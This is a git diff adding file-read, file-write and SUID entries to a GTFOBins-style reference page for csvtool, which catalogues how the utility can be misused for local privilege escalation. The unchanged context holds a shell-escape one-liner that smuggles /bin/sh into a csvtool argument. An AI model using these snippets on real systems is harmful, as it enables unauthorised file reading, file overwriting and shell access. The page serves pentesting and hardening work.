diff --git a/_gtfobins/csvtool.md b/_gtfobins/csvtool.md
index 890a171..a2e1c8e 100644
--- a/_gtfobins/csvtool.md
+++ b/_gtfobins/csvtool.md
@@ -1,5 +1,21 @@
 ---
 functions:
+  file-read:
+    - description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
+      code: |
+        LFILE=file_to_read
+        csvtool trim t $LFILE
+  file-write:
+    - description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
+      code: |
+        LFILE=file_to_write
+        TF=$(mktemp)
+        echo DATA > $TF
+        csvtool trim t $TF -o $LFILE
+  suid:
+    - code: |
+        LFILE=file_to_read
+        ./csvtool trim t $LFILE
   shell:
     - code: csvtool call '/bin/sh;false' /etc/passwd
   sudo: